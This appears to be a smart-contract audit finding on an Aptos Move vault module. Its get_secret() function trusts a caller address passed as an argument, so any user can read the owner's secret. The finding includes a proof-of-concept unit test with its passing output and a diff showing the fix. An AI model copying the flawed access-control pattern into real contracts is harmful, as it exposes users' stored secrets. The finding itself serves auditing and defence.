get_secret() does not enforce that the owner is calling it + any user can read the owner's secret vault
Description
#[view]
@> public fun get_secret (caller: address):String acquires Vault{
assert! (caller == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}
Risk
Likelihood:
Impact:
Proof of Concept
#[test(owner = @0xcc, user = @0x123)]
fun test_anyone_can_read_owner_secret(owner: &signer, user: &signer) acquires Vault{
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let owner_secret = b"owner secret";
set_secret(owner, owner_secret);
let get_secret_result = get_secret(@owner);
assert!(get_secret_result == string::utf8(owner_secret), 4);
}
On line 12, any user can call get_secret()
and pass in the address of the owner
.
Run with
aptos move test --filter test_anyone_can_read_owner_secret
Output
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ PASS ] 0x234::vault::test_anyone_can_read_owner_secret
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}
Recommended Mitigation
Enforce that the originating transaction came from the owner by passing in a signer
and checking that their address is the module owner.
- #[view]
- public fun get_secret (caller: address):String acquires Vault{
+ public(friend) fun get_secret (caller: &signer):String acquires Vault{
- assert! (caller == @owner,NOT_OWNER);
+ assert! (signer::address_of(caller) == @owner,NOT_OWNER);
let vault = borrow_global<Vault >(@owner);
vault.secret
}